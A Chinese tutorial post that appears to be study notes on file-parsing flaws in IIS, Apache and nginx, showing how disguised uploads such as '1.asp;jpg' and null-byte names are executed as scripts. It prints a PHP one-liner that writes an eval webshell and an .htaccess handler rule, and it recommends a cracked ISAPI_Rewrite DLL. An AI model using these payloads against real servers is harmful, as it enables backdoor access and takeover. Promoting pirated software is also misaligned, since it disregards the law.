文件解析漏洞学习
解析漏洞主要说的是一些特殊文件被IIS、Apache、nginx在某种情况下解释成脚本文件格式的漏洞
一、IIS6.0解析漏洞
1.目录解析
当文件夹名字以.asp、.asa结尾时,文件夹内的所有文件都将以asp的格式解析,我们就可以想办法修改文件夹名称,再上传任意格式的一句话木马在该文件夹中,从而绕过验证。
2.文件解析
在IIS中解析文件名,系统通常都是从左到右读取文件名,假如我们上传一个文件1.asp;jpg,在前端验证时直接从后面读取文件名.jpg,上传成功!而在服务器中则是以.asp格式解析。
也可以使用bp抓包改包绕过前端验证。
还有一种就是利用重定向,在IIS6.0中安装了Rewrite这个ISAPI,下载ISAPIrewrite破解版 点击下载此文件
安装之后把Cracked里的ISAPI_Rewrite.dll,替换掉安装目录里的ISAPI_Rewrite.dll,就破解了。注意,停掉IIS再替换!
在httpd.ini加入了以下规则
1 | RewriteRule (.*).asp/(.*) /no.gif |
这样访问所有的带有“.asp/”的URL全部被重写到http://test.com/no.jpg,访问http://test.com/dir.asp/diy.jpg其实就是访问的http://test.com/no.jpg
这样就屏蔽了所有带.asp的文件夹的访问,并且全部显示no.jpg这张警告的图片
二、Apache解析漏洞
与IIS相反,Apache解析文件时是从右往左读取文件名,如果遇到不可解析的文件后缀名就继续向左解析,如1.php.xxx,后面的.xxx是Apache无法解析的后缀,则该文件将被解析为PHP格式
三、IIS 7.0/IIS 7.5/nginx<8.03畸形解析漏洞
在默认fast-CGI开启下,我们将以下内容的PHP文件
1 | <?PHP fputs(fopen(’shell.php’,’w’),’<?php eval_r($_POST[cmd])?>’);?> |
修改为jpg文件上传,假如图片路径为http://xxx.com/xxx/1.jpg,我们需要访问地址http://xxx.com/xxx/1.jpg/shell.php,就会在当前xxx路径下生成shell.php文件,文件内容即为,上传一句话木马成功!
四、Nginx <8.03空字节代码执行漏洞
试用版本:0.5.*, 0.6.*, 0.7 <= 0.7.65, 0.8 <= 0.8.37
这个漏洞也是用了%00截断,访问嵌入一句话木马的图 片如xx.jpg改变成xxx.jpg%00.php来执行其中代码
五、.htaccess文件解析
.htaccess是什么?
.htaccess叫分布式配置文件,它提供了针对目录改变配置的方法——在一个特定的文档目录中放置一个包含一个或多个指令的文件, 以作用于此目录及其所有子目录。并且子目录中的指令会覆盖更高级目录或者主服务器配置文件中的指令。一般来说,如果你的虚拟主机使用的是Unix或Linux系统,或者任何版本的Apache网络服务器,从理论上讲都是支持.htaccess的。
在这个漏洞里我们又要利用到
1 | <FlilesMatch "shell.jpg"> SetHandler application/x-httpd-php </FlilesMatch> |
再上传shell.jpg的一句话木马,就可以以PHP格式执行。
参考:
通杀IIS7.0畸形解析0day漏洞
Nginx %00空字节执行php漏洞
.htaccess重写、安全防护、文件访问权限
Apache对文件后缀解析的分析利用
cracer渗透教程